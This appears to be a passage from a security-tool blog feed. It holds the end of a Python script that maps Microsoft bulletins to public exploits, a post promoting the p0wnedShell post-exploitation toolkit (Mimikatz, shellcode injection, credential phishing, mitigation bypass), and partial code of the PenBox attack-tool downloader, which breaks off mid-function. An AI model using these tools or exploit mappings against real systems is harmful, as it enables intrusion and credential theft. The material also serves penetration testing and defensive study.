# this will also search the superseded column (11)
def getlinkedms(msids, database):

  lmsids = []

  # go through each row in the database
  for row in database:
  
    # base MS-XX
    rowid=row[1]
    
    # superseded MS-XX
    
    # first try row 12, and then row 11 for the supercedes column due to
    # differences in csv and xlrd parsing. this was a bug that might be
    # fixed now
    rowidsuper = getbulletinids(row[12])
    if rowidsuper == False: rowidsuper=getbulletinids(row[11])  
    
    rowidsuper = merge_list(rowidsuper)

    # loop through each msid for each row
    for msid in msids:
      
      # debug output, what we're working with
      #print "%s,%s,%s" % (msid, rowid, rowidsuper)
      # MS14-053,MS14-053,['MS13-052', 'MS14-009']
      # MS14-053,MS14-053,['MS13-004']
      # MS14-053,MS14-053,['MS13-004']
      # MS14-053,MS14-053,['MS13-004']
      # MS14-053,MS14-053,['MS13-004']
      # MS14-053,MS14-053,[]

      # if the msid matches the row, get the supercedes column (which is a list)
      if msid == rowid or rowid in lmsids:
        #print "%s,%s,%s" % (msid, rowid, rowidsuper)
        lmsids.append(msid)
        lmsids = lmsids + rowidsuper

  return sorted(set(lmsids), reverse=True)

# determines whether or not an msid is in a list of exploits. if msid = 0
# then it will just return the count
def getexploit(msid = 0):
# search using searchsploit
#MS Windows (ListBox/ComboBox Control) Local Exploit (MS03-045)        /windows/local/122.c
#MS Windows Utility Manager Local SYSTEM Exploit (MS04-011)          /windows/local/271.c
#MS Windows 2000 Utility Manager Privilege Elevation Exploit (MS04-019)    /windows/local/350.c
#MS Windows 2K POSIX Subsystem Privilege Escalation Exploit (MS04-020)     /windows/local/351.c
#MS Windows 2000 Universal Language Utility Manager Exploit (MS04-019)     /windows/local/352.c
#MS Windows 2K/XP Task Scheduler .job Exploit (MS04-022)           /windows/local/353.c
#MS Windows 2k Utility Manager (All-In-One) Exploit (MS04-019)         /windows/local/355.c
#MS Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)      /windows/local/368.c
#MS Windows (HTA) Script Execution Exploit (MS05-016)            /windows/local/938.cpp
#MS Windows COM Structured Storage Local Exploit (MS05-012)          /windows/local/1019.c
#MS Windows CSRSS Local Privilege Escalation Exploit (MS05-018)        /windows/local/1198.c
#MS Windows 2k Kernel APC Data-Free Local Escalation Exploit (MS05-055)    /windows/local/1407.c
#MS Windows Telephony Service Command Execution Exploit (MS05-040)       /windows/local/1584.cpp
#MS Windows (NtClose DeadLock) Vulnerability PoC (MS06-030)          /windows/local/1910.c
#MS Windows XP/2K (Mrxsmb.sys) Privilege Escalation PoC (MS06-030)       /windows/local/1911.c
#Microsoft IIS ASP Stack Overflow Exploit (MS06-034)             /windows/local/2056.c
#MS Windows (Windows Kernel) Privilege Escalation Exploit (MS06-049)     /windows/local/2412.c
#MS Windows GDI Local Privilege Escalation Exploit (MS07-017)        /windows/local/3688.c
#MS Windows GDI Local Privilege Escalation Exploit (MS07-017) 2        /windows/local/3755.c
#Kodak Image Viewer TIF/TIFF Code Execution Exploit PoC (MS07-055)       /windows/local/4584.c
#Microsoft Office .WPS File Stack Overflow Exploit (MS08-011)        /windows/local/5107.c
#Microsoft Office Excel Code Execution Exploit (MS08-014)          /windows/local/5287.txt
#Microsoft Office XP SP3 PPT File Buffer Overflow Exploit (ms08-016)     /windows/local/5320.txt
#MS Windows GDI Image Parsing Stack Overflow Exploit (MS08-021)        /windows/local/5442.cpp

#MS Word Record Parsing Buffer Overflow (MS09-027)               /windows/local/14693.py
#MS Excel Malformed FEATHEADER Record Exploit (MS09-067)           /windows/local/14706.py
#MS Word Record Parsing Buffer Overflow MS09-027 (meta)            /windows/local/17177.rb
#MS Internet Explorer Object Tag Exploit (MS03-020)              /windows/remote/37.pl
#MS Windows Media Services Remote Exploit (MS03-022)             /windows/remote/48.c
#Microsoft WordPerfect Document Converter Exploit (MS03-036)         /windows/remote/92.c
#MS Windows (RPC DCOM) Scanner (MS03-039)                  /windows/remote/97.c
#MS Windows (RPC DCOM) Long Filename Overflow Exploit (MS03-026)       /windows/remote/100.c
#MS Windows (RPC DCOM2) Remote Exploit (MS03-039)              /windows/remote/103.c
#MS Windows (RPC2) Universal Exploit & DoS (RPC3) (MS03-039)         /windows/remote/109.c
#MS Windows 2000/XP Workstation Service Overflow (MS03-049)          /windows/remote/119.c
#MS Frontpage Server Extensions fp30reg.dll Exploit (MS03-051)         /windows/remote/121.c
#MS Windows Workstation Service WKSSVC Remote Exploit (MS03-049)       /windows/remote/123.c
#MS Windows XP Workstation Service Remote Exploit (MS03-049)         /windows/remote/130.c
#MS Windows Messenger Service Remote Exploit FR (MS03-043)           /windows/remote/135.c
#MS Internet Explorer URL Injection in History List (MS04-004)         /windows/remote/151.txt
#MS Windows IIS 5.0 SSL Remote buffer overflow Exploit (MS04-011)      /windows/remote/275.c
#MS Windows Lsasrv.dll RPC Remote Buffer Overflow Exploit (MS04-011)     /windows/remote/293.c
#MS Windows XP/2K Lsasrv.dll Remote Universal Exploit (MS04-011)       /windows/remote/295.c
#MS Windows JPEG GDI+ Overflow Administrator Exploit (MS04-028)        /windows/remote/475.sh
#MS Windows JPEG GDI+ Overflow Download Shellcode Exploit (MS04-028)     /windows/remote/478.c
#MS Windows JPEG GDI+ Remote Heap Overflow Exploit (MS04-028)        /windows/remote/480.c
#MS Windows Metafile (.emf) Heap Overflow Exploit (MS04-032)         /windows/remote/584.c
#MS Windows Compressed Zipped Folders Exploit (MS04-034)           /windows/remote/640.c
#MS Windows NetDDE Remote Buffer Overflow Exploit (MS04-031)         /windows/remote/734.c
#MS Internet Explorer .ANI files handling Universal Exploit (MS05-002)     /windows/remote/765.c
#MS Internet Explorer .ANI files handling Downloader Exploit (MS05-002)    /windows/remote/771.cpp
#MS Exchange Server Remote Code Execution Exploit (MS05-021)         /windows/remote/947.pl
#MS Outlook Express NNTP Buffer Overflow Exploit (MS05-030)          /windows/remote/1066.cpp
#MS Windows Message Queuing BoF Universal Exploit (MS05-017) (v.0.3)     /windows/remote/1075.c
#MS Internet Explorer (blnmgr.dll) COM Object Remote Exploit (MS05-038)    /windows/remote/1144.html
#MS Windows Plug-and-Play Service Remote Overflow (MS05-039)         /windows/remote/1146.c
#MS Windows Plug-and-Play Service Remote  Universal Exploit (MS05-039)     /windows/remote/1149.c
#Microsoft Windows DTC Remote Exploit (PoC) (MS05-051) (updated)       /windows/remote/1352.cpp
#Windows Media Player 7.1 <= 10 BMP Heap Overflow PoC (MS06-005) (2)     /windows/remote/1502.py
#MS Windows Media Player 9 Plugin Overflow Exploit (MS06-006) (meta)     /windows/remote/1504.pm
#MS Windows Media Player 10 Plugin Overflow Exploit (MS06-006)         /windows/remote/1505.html
#MS Windows Color Management Module Overflow Exploit (MS05-036) (2)      /windows/remote/1506.c
#MS Windows Media Player Plugin Overflow Exploit (MS06-006)(3)         /windows/remote/1520.pl
#MS Windows RRAS Remote Stack Overflow Exploit (MS06-025)          /windows/remote/1940.pm
#MS Windows RRAS RASMAN Registry Stack Overflow Exploit (MS06-025)       /windows/remote/1965.pm
#MS Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014)    /windows/remote/2052.sh
#MS Windows DHCP Client Broadcast Attack Exploit (MS06-036)          /windows/remote/2054.txt
#MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040)        /windows/remote/2162.pm
#Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014) (2)     /windows/remote/2164.pm
#MS Windows CanonicalizePathName() Remote Exploit (MS06-040)         /windows/remote/2223.c
#MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040) (2)      /windows/remote/2265.c
#MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040) (2k3)      /windows/remote/2355.pm
#MS Windows NetpManageIPCConnect Stack Overflow Exploit (MS06-070)       /windows/remote/2789.cpp
#MS Windows Wkssvc NetrJoinDomain2 Stack Overflow Exploit (MS06-070)     /windows/remote/2800.cpp
#MS Windows ASN.1 Remote Exploit (MS04-007)                  /windows/remote/3022.txt
#MS Internet Explorer VML Remote Buffer Overflow Exploit (MS07-004)      /windows/remote/3137.html
#MS Internet Explorer VML Download and Execute Exploit (MS07-004)      /windows/remote/3148.pl
#MS Internet Explorer Recordset Double Free Memory Exploit (MS07-009)    /windows/remote/3577.html
#MS Windows (.ANI) GDI Remote Elevation of Privilege Exploit (MS07-017)    /windows/remote/3804.txt
#MS Internet Explorer <= 7 Remote Arbitrary File Rewrite PoC (MS07-027)    /windows/remote/3892.html
#Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)        /windows/remote/4616.pl
#MS Windows Message Queuing Service RPC BOF Exploit (MS07-065)         /windows/remote/4745.cpp
#MS Windows 2000 AS SP4 Message Queue Exploit (MS07-065)           /windows/remote/4760.txt
#Windows Media Encoder wmex.dll ActiveX BOF Exploit (MS08-053)         /windows/remote/6454.html
#MS Windows GDI (EMR_COLORMATCHTOTARGETW) Exploit MS08-021           /windows/remote/6656.txt
#MS Windows Server Service Code Execution Exploit (MS08-067) (Univ)      /windows/remote/6841.txt
#MS Windows Server Service Code Execution Exploit (MS08-067)         /windows/remote/7104.c
#SmbRelay3 NTLM Replay Attack Tool/Exploit (MS08-068)            /windows/remote/7125.txt
#MS Windows Server Service Code Execution Exploit (MS08-067) (2k/2k3)    /windows/remote/7132.py
#Microsoft XML Core Services DTD Cross-Domain Scripting PoC MS08-069     /windows/remote/7196.html
#MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (xp sp2)    /windows/remote/8079.html
#MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (py)      /windows/remote/8080.py
#MS Internet Explorer 7 Memory Corruption PoC (MS09-002) (win2k3sp2)     /windows/remote/8082.html
#MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (fast)      /windows/remote/8152.py
#Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference (MS09-050) /windows/remote/14674.txt
#Microsoft Services MS06-066 nwwks.dll                     /windows/remote/16369.rb
#Microsoft Services MS06-066 nwapi32.dll                   /windows/remote/16373.rb
#MS03-020 Internet Explorer Object Type                    /windows/remote/16581.rb
#MS03-046 Exchange 2000 XEXCH50 Heap Overflow                /windows/remote/16820.rb

# no ms number yet?
#MS??-???,http://www.exploit-db.com/exploits/30014/,P,??2914486
  exploits = [
    ['MS15-134', ALERT.EXP], # CVE 2015-6131
                             # https://www.exploit-db.com/exploits/38911/, Microsoft Windows Media Center Library Parsing RCE Vulnerability aka "self-executing" MCL File, PoC
                             # https://www.exploit-db.com/exploits/38912/, Microsoft Windows Media Center Link File Incorrectly Resolved Reference, PoC
    ['MS15-132', ALERT.EXP], # CVE 2015-6132
                             # https://www.exploit-db.com/exploits/38968/, Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
                             # CVE 2015-6128
                             # https://www.exploit-db.com/exploits/38918/, Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
    ['MS15-111', ALERT.EXP], # CVE 2015-2553
                             # https://www.exploit-db.com/exploits/38474/, Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
    ['MS15-102', ALERT.EXP], # CVE 2015-2524
                             # https://www.exploit-db.com/exploits/38202/, Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
                             # CVE 2015-2525
                             # https://www.exploit-db.com/exploits/38200/, Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
                             # CVE 2015-2528
                             # https://www.exploit-db.com/exploits/38201/, Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
    ['MS15-100', ALERT.MSF], # CVE 2015-2509
                             # https://www.exploit-db.com/exploits/38195/, MS15-100 Microsoft Windows Media Center MCL Vulnerability, MSF
                             # https://www.exploit-db.com/exploits/38151/, Windows Media Center - Command Execution (MS15-100), PoC
    ['MS15-097', ALERT.EXP], # CVE 2015-2508
                             # https://www.exploit-db.com/exploits/38198/, Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
                             # CVE 2015-2527
                             # https://www.exploit-db.com/exploits/38199/, Windows NtUserGetClipboardAccessToken Token Leak, PoC
    ['MS15-078', ALERT.MSF], # CVE 2015-2426, CVE 2015-2433
                             # https://www.exploit-db.com/exploits/38222/, MS15-078 Microsoft Windows Font Driver Buffer Overflow
    ['MS15-052', ALERT.EXP], # CVE 2015-1674
                             # https://www.exploit-db.com/exploits/37052/, Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
    ['MS15-051', ALERT.MSF], # CVE 2015-1701
                             # https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
                             # https://www.exploit-db.com/exploits/37367/, Windows ClientCopyImage Win32k Exploit, MSF
    ['MS15-022', ALERT.EXP], # CVE 2015-0097
                             # https://www.exploit-db.com/exploits/37657/, Microsoft Word Local Machine Zone Remote Code Execution Vulnerability, PoC
                             # https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37657.zip
    ['MS15-010', ALERT.EXP], # CVE 2015-0057
                             # https://www.exploit-db.com/exploits/37098/, Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
                             # https://www.exploit-db.com/exploits/39035/, Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
    ['MS15-001', ALERT.EXP], # CVE 2015-0002
                             # http://www.exploit-db.com/exploits/35661/, Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
    ['MS14-070', ALERT.EXP], # CVE 2014 4076
                             # http://www.exploit-db.com/exploits/35936/, Microsoft Windows Server 2003 SP2 - Privilege Escalation, PoC
    ['MS14-068', ALERT.EXP], # CVE 2014-6324
                             # http://www.exploit-db.com/exploits/35474/, Windows Kerberos - Elevation of Privilege (MS14-068), PoC
    ['MS14-064', ALERT.MSF], # CVE 2014-6332
                             # https://www.exploit-db.com/exploits/37800/,  Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
                             # http://www.exploit-db.com/exploits/35308/, Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
                             # http://www.exploit-db.com/exploits/35229/, Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
                             # http://www.exploit-db.com/exploits/35230/, Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
                             # http://www.exploit-db.com/exploits/35235/, MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
                             # http://www.exploit-db.com/exploits/35236/, MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
    ['MS14-062', ALERT.MSF], # CVE 2014-4971
                             # http://www.exploit-db.com/exploits/34112/, Microsoft Windows XP SP3 MQAC.sys - Arbitrary Write Privilege Escalation, PoC
                             # http://www.exploit-db.com/exploits/34982/, Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation
    ['MS14-060', ALERT.MSF], # CVE 2014-4114
                             # http://www.exploit-db.com/exploits/35055/, Windows OLE - Remote Code Execution "Sandworm" Exploit (MS14-060), PoC
                             # http://www.exploit-db.com/exploits/35020/, MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
    ['MS14-058', ALERT.MSF], # CVE 2014-4113
                             # http://www.exploit-db.com/exploits/35101/, Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
    ['MS14-035', ALERT.EXP],
    ['MS14-029', ALERT.EXP], #http://www.exploit-db.com/exploits/34458/
    ['MS14-026', ALERT.EXP], # CVE 2014-1806
                             # http://www.exploit-db.com/exploits/35280/, .NET Remoting Services Remote Command Execution, PoC,
    ['MS14-017', ALERT.MSF],
    ['MS14-012', ALERT.MSF],
    ['MS14-009', ALERT.MSF],
    ['MS14-002', ALERT.EXP],
    ['MS13-101', ALERT.EXP],
    ['MS13-097', ALERT.MSF],
    ['MS13-096', ALERT.MSF],
    ['MS13-090', ALERT.MSF],
    ['MS13-080', ALERT.MSF],
    ['MS13-071', ALERT.MSF],
    ['MS13-069', ALERT.MSF],
    ['MS13-067', ALERT.EXP],
    ['MS13-059', ALERT.MSF],
    ['MS13-055', ALERT.MSF],
    ['MS13-053', ALERT.MSF],
    ['MS13-009', ALERT.MSF],
    ['MS13-005', ALERT.MSF],
    ['MS12-037', ALERT.EXP], # CVE 2012-1876
                             # http://www.exploit-db.com/exploits/35273/, Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
                             # http://www.exploit-db.com/exploits/34815/, Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
    ['MS12-022', ALERT.MSF],
    ['MS11-080', ALERT.MSF],
    ['MS11-011', ALERT.EXP],
    ['MS10-073', ALERT.MSF],
    ['MS10-061', ALERT.MSF],
    ['MS10-059', ALERT.EXP],
    ['MS10-047', ALERT.EXP],
    ['MS10-015', ALERT.MSF],
    ['MS10-002', ALERT.MSF],
    ['MS09-072', ALERT.MSF],
    ['MS09-067', ALERT.MSF],
    ['MS09-065', ALERT.MSF],
    ['MS09-053', ALERT.MSF],
    ['MS09-050', ALERT.MSF],
    ['MS09-050', ALERT.MSF],
    ['MS09-043', ALERT.MSF],
    ['MS09-020', ALERT.MSF],
    ['MS09-004', ALERT.MSF],
    ['MS09-002', ALERT.MSF],
    ['MS09-001', ALERT.MSF],
    ['MS08-078', ALERT.MSF],
    ['MS08-070', ALERT.MSF],
    ['MS08-067', ALERT.MSF],
    ['MS08-067', ALERT.MSF],
    ['MS08-053', ALERT.MSF],
    ['MS08-041', ALERT.MSF],
    ['MS08-025', ALERT.EXP],
    ['MS07-065', ALERT.MSF],
    ['MS07-065', ALERT.MSF],
    ['MS07-064', ALERT.MSF],
    ['MS07-029', ALERT.MSF],
    ['MS07-029', ALERT.MSF],
    ['MS07-017', ALERT.MSF],
    ['MS06-071', ALERT.MSF],
    ['MS06-070', ALERT.MSF],
    ['MS06-070', ALERT.MSF],
    ['MS06-067', ALERT.MSF],
    ['MS06-066', ALERT.MSF],
    ['MS06-066', ALERT.MSF],
    ['MS06-063', ALERT.MSF],
    ['MS06-057', ALERT.MSF],
    ['MS06-055', ALERT.MSF],
    ['MS06-049', ALERT.EXP],
    ['MS06-040', ALERT.MSF],
    ['MS06-040', ALERT.MSF],
    ['MS06-035', ALERT.MSF],
    ['MS06-025', ALERT.MSF],
    ['MS06-025', ALERT.MSF],
    ['MS06-019', ALERT.MSF],
    ['MS06-013', ALERT.MSF],
    ['MS06-001', ALERT.MSF],
    ['MS05-054', ALERT.MSF],
    ['MS05-047', ALERT.MSF],
    ['MS05-039', ALERT.MSF],
    ['MS05-039', ALERT.MSF],
    ['MS05-030', ALERT.MSF],
    ['MS05-017', ALERT.MSF],
    ['MS05-017', ALERT.MSF],
    ['MS04-045', ALERT.MSF],
    ['MS04-031', ALERT.MSF],
    ['MS04-031', ALERT.MSF],
    ['MS04-011', ALERT.MSF],
    ['MS04-011', ALERT.MSF],
    ['MS04-007', ALERT.MSF],
    ['MS04-007', ALERT.MSF],
    ['MS03-051', ALERT.MSF],
    ['MS03-049', ALERT.MSF],
    ['MS03-049', ALERT.MSF],
    ['MS03-046', ALERT.MSF],
    ['MS03-026', ALERT.MSF],
    ['MS03-026', ALERT.MSF],
    ['MS03-022', ALERT.MSF],
    ['MS03-020', ALERT.MSF],
    ['MS03-007', ALERT.MSF],
    ['MS02-065', ALERT.MSF],
    ['MS02-063', ALERT.MSF],
    ['MS02-056', ALERT.MSF],
    ['MS02-039', ALERT.MSF],
    ['MS02-018', ALERT.MSF],
    ['MS01-033', ALERT.MSF],
    ['MS01-026', ALERT.MSF],
    ['MS01-023', ALERT.MSF],
    ['MS00-094', ALERT.MSF]
  ]

  # return the count of exploits  
  if msid == 0: return len(exploits)

  for exploit in exploits:
    if msid == exploit[0]:
      return exploit[1]
  
  return False

# the update function
def update():

  # compute the filenames to be used
  filenames = '%s-mssb' % datetime.datetime.now().strftime('%Y-%m-%d')
  xlsFile = '%s.%s' % (filenames, 'xls')
  csvFile = '%s.%s' % (filenames, 'csv')

  # url request opener with user-agent
  opener = urllib2.build_opener()
  opener.addheaders = [('User-agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36')]

  # grab the new data from ms and scrape the site
  try:
    response = opener.open(MSSB_URL)
  except urllib2.URLError, e:
    ALERT("error getting url %s" % MSSB_URL, ALERT.BAD)
    exit(1)
  
  ALERT("successfully requested base url")
  
  # now parse the data, ensure we have an mssb link
  # <td>BulletinSearch_20131111_151603.xlsx <span class="green-sniff-recommend">(recommended)</span></td>
  html = response.read()
  m = re.findall('url=(.*BulletinSearch.*.xls[x]*)', html)
  # m = re.findall('href="(.*BulletinSearch.*.xlsx)"', html) # old bulletin request url, 20140502

  # ensure we get the bulletin search
  if m and m[0]:
    bulletinUrl = m[0]
    ALERT("scraped ms download url")
    # if the file was xlsx, add an x to the extension
    if "xlsx" in bulletinUrl: xlsFile += "x"
  else:
    ALERT("error finding the ms download url from previous response", ALERT.BAD)
    exit(1)
    
  # now download the mssb file, with a random sleep
  try:    
    sleep(randint(1,3))
    response = opener.open(bulletinUrl)
  except urllib2.URLError, e:
    ALERT("error getting ms sb url %s" % bulletinUrl, ALERT.BAD)
    exit(1)
    
  bulletinData = response.read()
  
  ALERT("writing to file %s" % xlsFile, ALERT.GOOD)
  f = open(xlsFile, 'wb')
  f.write(bulletinData)
  f.close

# modified ALERT class for exploit and metasploit level logging
class ALERT(object):
  
  def __init__(self, message, level=0, ansi=True):

    # default to ansi alerting, if it's detected as windows platform then disable
    if platform.system() is "Windows": ansi = False

    good = '[+]'
    bad = '[-]'
    normal = '[*]'
  
    msf = '[M]'
    exploit = '[E]'
    
    if ansi == True:
      if level == ALERT.GOOD: print("%s%s%s" % ('\033[1;32m',good,"\033[0;0m")),
      elif level == ALERT.BAD: print("%s%s%s" % ('\033[1;31m',bad,"\033[0;0m")),
      elif level == ALERT.MSF: print("%s%s%s" % ('\033[1;32m',msf,"\033[0;0m")),
      elif level == ALERT.EXP: print("%s%s%s" % ('\033[1;32m',exploit,"\033[0;0m")),
      else: print("%s%s%s" % ('\033[1;34m',normal,"\033[0;0m")),
      
    else:
      if level == ALERT.GOOD: print('%s' % good),
      elif level == ALERT.BAD: print('%s' % bad),
      elif level == ALERT.MSF: print('%s' % msf),
      elif level == ALERT.EXP: print('%s' % exploit),
      else: print('%s' % normal),
      
    print message
  
  @staticmethod
  @property
  def BAD(self): return -1
    
  @staticmethod
  @property
  def NORMAL(self): return 0
    
  @staticmethod
  @property
  def GOOD(self): return 1
    
  @staticmethod
  @property
  def MSF(self): return 2
    
  @staticmethod
  @property
  def EXP(self): return 3

# this helper function will merge a list of lists into one sorted set
def merge_list(li):
  s = []
  if li:
    for l in li:
        if isinstance(l, list): s = s + l
        else: s.append(l)
  return s

if __name__ == '__main__':
  main()

Download zipball  | or git clone
Read More in here : http://blog.gdssecurity.com/ our post BEFORE

p0wnedShell v1.2 – PowerShell Runspace Post Exploitation Toolkit.

$
0
0

p0wnedShell is an offensive PowerShell host application written in C# that does not rely on powershell.exe but runs powershell commands and functions within a powershell runspace environment (.NET). It has a lot of offensive PowerShell modules and binaries included to make the process of Post Exploitation easier. What we tried was to build an “all in one” Post Exploitation tool which we could use to bypass all mitigations solutions (or at least some off), and that has all relevant tooling included. You can use it to perform modern attacks within Active Directory environments and create awareness within your Blue team so they can build the right defense strategies.

p0wnedShell v1.2 - PowerShell Runspace Post Exploitation Toolkit.

p0wnedShell v1.2 – PowerShell Runspace Post Exploitation Toolkit.

what’s new in 2016:
+ Added MS15-051 Kernel Exploit

What’s inside the runspace:
The following PowerShell tools/functions are included:
+ PowerSploit Invoke-Shellcode
+ PowerSploit Invoke-ReflectivePEInjection
+ PowerSploit Invoke-Mimikatz
+ PowerSploit Invoke-TokenManipulation
+ Veil’s PowerTools PowerUp
+ Veil’s PowerTools PowerView
+ HarmJ0y’s Invoke-Psexec
+ Besimorhino’s PowerCat
+ Nishang Invoke-PsUACme
+ Nishang Invoke-Encode
+ Nishang Get-PassHashes
+ Nishang Invoke-CredentialsPhish
+ Nishang Port-Scan
+ Nishang Copy-VSS
Powershell functions within the Runspace are loaded in memory from Base64 encode strings.

The following Binaries/tools are included:
+ Benjamin DELPY’s Mimikatz
+ Benjamin DELPY’s MS14-068 kekeo Exploit
+ Didier Stevens modification of ReactOS Command Prompt
+ hfiref0x MS15-051 Local SYSTEM Exploit
Binaries are loaded in memory using ReflectivePEInjection (Byte arrays are compressed using Gzip and saved within p0wnedShell as Base64 encoded strings).

How to build:

download *.zip and unzip it
Open your Visual Studio Community
right click p0wnedShell open with Your Visual Studion version..
Build p0wnedShell

Download: p0wnedShell-master.zip(1.6 MB)
Source : https://github.com/Cn33liz

PenBox v1.1 ~ Pentesting tools auto downloader Script.

$
0
0

Penbox ~ Pentesting tools auto downloader Script.
Requirements : python2.7

Changelog v1.1:
+ Privat Tool:
1) Get all websites
2) Get joomla websites
3) Get wordpress websites
4) Find control panel
5) Find zip files
6) Find upload files
7) Get server users
8) Scan from SQL injection
9) Crawl and scan from SQL injection
10) Scan ports (range of ports)
11) Scan ports (common ports)
12) Get server banner
13) Bypass Cloudflare
+ Drupal Hacking
1: Drupal Bing Exploiter
2: Get Drupal Websites
3: Drupal Mass Exploiter

PenBox-v1-1

Operating System Support Menu:
1) Max OSX
2) Linux
3) Windows

Main Menu:
1 : Information Gathering
2 : Password Attacks
3 : Wireless Testing
4 : Exploitation Tools
5 : Sniffing & Spoofing
6 : Privat Tool
7 : Drupal Hacking

Usage:

git clone https://github.com/x3omdax/PenBox && cd PenBox
cd Versions/V1.1
python penbox.py

penbox.py Script:

#!/usr/bin/env python2.7
#
#          All In One Tool For Penetration Testing 
#           Authors : Fedy Wesleti , Mohamed Nour 
#
import sys
import os
import httplib
import subprocess
import re, urllib2
import socket
import urllib,sys,json
from commands import *
from platform import system
from urlparse import urlparse
########################## 
#Variables
yes = set(['yes','y', 'ye', 'Y'])
no = set(['no','n'])
def logo():
    print """
  ########  ######## ##    ## ########   #######  ##     ## 
  ##     ## ##       ###   ## ##     ## ##     ##  ##   ##  
  ##     ## ##       ####  ## ##     ## ##     ##   ## ##   
  ########  ######   ## ## ## ########  ##     ##    ###    
  ##        ##       ##  #### ##     ## ##     ##   ## ##   
  ##        ##       ##   ### ##     ## ##     ##  ##   ##  
  ##        ######## ##    ## ########   #######  ##     ##  v1.1  
                                  Pentesting Tools Auto-Downloader 
 
  [+]       Coded BY Mohamed Nour & Fedy Weslety        [+] 
  [+]          FB/CEH.TN    ~~   FB/mohamed.zeus.0      [+] 
  [+]             Greetz To All Pentesters              [+] 
"""
##########################
#this is the big menu funtion 
def menu():
    print ("""
  ########  ######## ##    ## ########   #######  ##     ## 
  ##     ## ##       ###   ## ##     ## ##     ##  ##   ##  
  ##     ## ##       ####  ## ##     ## ##     ##   ## ##   
  ########  ######   ## ## ## ########  ##     ##    ###    
  ##        ##       ##  #### ##     ## ##     ##   ## ##   
  ##        ##       ##   ### ##     ## ##     ##  ##   ##  
  ##        ######## ##    ## ########   #######  ##     ##  v1.1  
                                  Pentesting Tools Auto-Downloader 
 
  [+]       Coded BY Mohamed Nour & Fedy Weslety        [+] 
  [+]          FB/CEH.TN    ~~   FB/mohamed.zeus.0      [+] 
  [+]             Greetz To All Pentesters              [+] 
    Select from the menu:
    1 : Information Gathering
    2 : Password Attacks
    3 : Wireless Testing
    4 : Exploitation Tools
    5 : Sniffing & Spoofing
    6 : Privat Tools
    7 : Drupal Hacking
    99 : Exit
    """)
    choice = raw_input("Enter Your Choice:")
    
    if choice == "1":
        info()
    elif choice == "2":
        passwd()
    elif choice == "3":
        wire()
    elif choice == "4":
        exp()
    elif choice == "5":
        snif()
    elif choice == "6":
        tnn()
    elif choice == "7":
        maine()
    elif choice == "99":
        os.system('clear'),sys.exit();
    elif choice == "":
        menu()
    else: 
        menu()
##########################
#Host 2 ip
def h2ip():
    host = raw_input("Select A Host : ")
    ips = socket.gethostbyname(host)
    print(ips)
##########################
#ports
def ports():
    os.system("clear")
    target = raw_input('Select a Target IP :')
    os.system("nmap -O -Pn %s" % target) 
    sys.exit();
##########################
#inurlbr
def ifinurl():
    print""" This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found."""
    print('do you have Inurlbr installed ? ')
    cinurl = raw_input("Y / N : ")
    if cinurl in yes:
        inurl()
    if cinurl in no:
        insinurl()
    elif cinurl == "":
        menu()
    else: 
        menu()
####################################
def inurl():
    dork = raw_input("select a Dork:")
    output = raw_input("select a file to save :")
    os.system("./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1".format(dork, output))
    if cinurl in no:
        insinurl()
    elif cinurl == "":
        menu()
    else: 
        menu()
####################################
def insinurl():
    os.system("git clone https://github.com/googleinurl/SCANNER-INURLBR.git")
    os.system("chmod +x SCANNER-INURLBR/inurlbr.php")
    os.system("apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl")
    os.system("mv /SCANNER-INURLBR/inurbr.php inurlbr.php")
    os.system("clear")
    inurl()
####################################
#nmap function 
def nmap():

    choice7 = raw_input("continue ? Y / N : ")
    if choice7 in yes :
        os.system("wget https://nmap.org/dist/nmap-7.01.tar.bz2")
        os.system("bzip2 -cd nmap-7.01.tar.bz2 | tar xvf -")
        os.system("cd nmap-7.01 & ./configure")
        os.system("cd nmap-7.01 & make")
        os.system("su root")
        os.system("cd nmap-7.01 & make install")
    elif choice7 in no :
        info()
    elif choice7 == "":
        menu()
    else: 
        menu()
####################################
#jboss-autopwn
def jboss():
    os.system('clear')
